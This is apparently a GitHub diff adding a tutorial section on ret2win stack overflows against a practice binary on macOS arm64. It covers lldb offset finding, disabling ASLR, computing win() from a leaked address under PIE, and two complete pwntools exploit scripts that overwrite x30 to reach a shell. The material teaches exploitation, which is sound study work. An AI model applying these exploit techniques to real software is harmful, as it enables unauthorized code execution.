You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Execute without ASLR (although as we have an address leak, we don't need it):
238
+
239
+
```bash
240
+
env DYLD_DISABLE_ASLR=1 ./bof_macos
241
+
```
242
+
243
+
> [!TIP]
244
+
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
245
+
246
+
### Find the offset
247
+
248
+
- Generate a pattern:
249
+
250
+
```bash
251
+
python3 - << 'PY'
252
+
from pwn import *
253
+
print(cyclic(200).decode())
254
+
PY
255
+
```
256
+
257
+
- Run the program and input the pattern to cause a crash:
258
+
259
+
```bash
260
+
lldb ./bof_macos
261
+
(lldb) env DYLD_DISABLE_ASLR=1
262
+
(lldb) run
263
+
# paste the 200-byte cyclic string, press Enter
264
+
```
265
+
266
+
- Check register `x30` (the return address) to find the offset:
267
+
268
+
```bash
269
+
(lldb) register read x30
270
+
```
271
+
272
+
- Use `cyclic -l <value>` to find the exact offset:
273
+
274
+
```bash
275
+
python3 - << 'PY'
276
+
from pwn import *
277
+
print(cyclic_find(0x61616173))
278
+
PY
279
+
280
+
# Replace 0x61616173 with the 4 first bytes from the value of x30
281
+
```
282
+
283
+
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
284
+
285
+
### Exploit
286
+
287
+
```python
288
+
#!/usr/bin/env python3
289
+
from pwn import*
290
+
import re
291
+
292
+
# Load the binary
293
+
binary_name ='./bof_macos'
294
+
295
+
# Start the process
296
+
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
297
+
298
+
# Read the address printed by the program
299
+
output = p.recvline().decode()
300
+
print(f"Received: {output.strip()}")
301
+
302
+
# Extract the win() address using regex
303
+
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
- Generate a pattern into the file `/tmp/exploit.txt`:
386
+
387
+
```bash
388
+
python3 - << 'PY'
389
+
from pwn import *
390
+
with open("/tmp/exploit.txt", "wb") as f:
391
+
f.write(cyclic(200))
392
+
PY
393
+
```
394
+
395
+
- Run the program to cause a crash:
396
+
397
+
```bash
398
+
lldb ./bof_macos
399
+
(lldb) run
400
+
```
401
+
402
+
- Check register `x30` (the return address) to find the offset:
403
+
404
+
```bash
405
+
(lldb) register read x30
406
+
```
407
+
408
+
- Use `cyclic -l <value>` to find the exact offset:
409
+
410
+
```bash
411
+
python3 - << 'PY'
412
+
from pwn import *
413
+
print(cyclic_find(0x61616173))
414
+
PY
415
+
# Replace 0x61616173 with the 4 first bytes from the value of x30
416
+
```
417
+
418
+
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
419
+
420
+
### Calculate the address of win()
421
+
422
+
- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function.
423
+
424
+
```bash
425
+
objdump -d bof_macos | grep -E 'leak_anchor|win'
426
+
427
+
0000000100000460 <_leak_anchor>:
428
+
000000010000047c <_win>:
429
+
```
430
+
431
+
- The offset is `0x47c - 0x460 = 0x1c`
432
+
433
+
### Exploit
434
+
435
+
```python
436
+
#!/usr/bin/env python3
437
+
from pwn import*
438
+
import re
439
+
import os
440
+
441
+
# Load the binary
442
+
binary_name ='./bof_macos'
443
+
# Start the process
444
+
p = process(binary_name)
445
+
446
+
# Read the address printed by the program
447
+
output = p.recvline().decode()
448
+
print(f"Received: {output.strip()}")
449
+
450
+
# Extract the leak_anchor() address using regex
451
+
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
465
+
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
466
+
offset =64+8# 72 bytes total to reach the return address
467
+
468
+
# Craft the payload - ARM64 addresses are 8 bytes
469
+
payload =b'A'* offset + p64(win_address)
470
+
print(f"Payload length: {len(payload)}")
471
+
472
+
# Write the payload to /tmp/exploit.txt
473
+
withopen("/tmp/exploit.txt", "wb") as f:
474
+
f.write(payload)
475
+
476
+
print("[*] Payload written to /tmp/exploit.txt")
477
+
478
+
# Drop to an interactive session
479
+
p.interactive()
480
+
```
481
+
482
+
483
+
## Notes on modern AArch64 hardening (PAC/BTI) and ret2win
205
484
206
485
- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
207
486
- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
@@ -210,7 +489,7 @@ p.close()
210
489
-`readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
211
490
-`objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
212
491
213
-
###Running on non‑ARM64 hosts (qemu‑user quick tip)
492
+
## Running on non‑ARM64 hosts (qemu‑user quick tip)
214
493
215
494
If you are on x86_64 but want to practice AArch64:
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
0 commit comments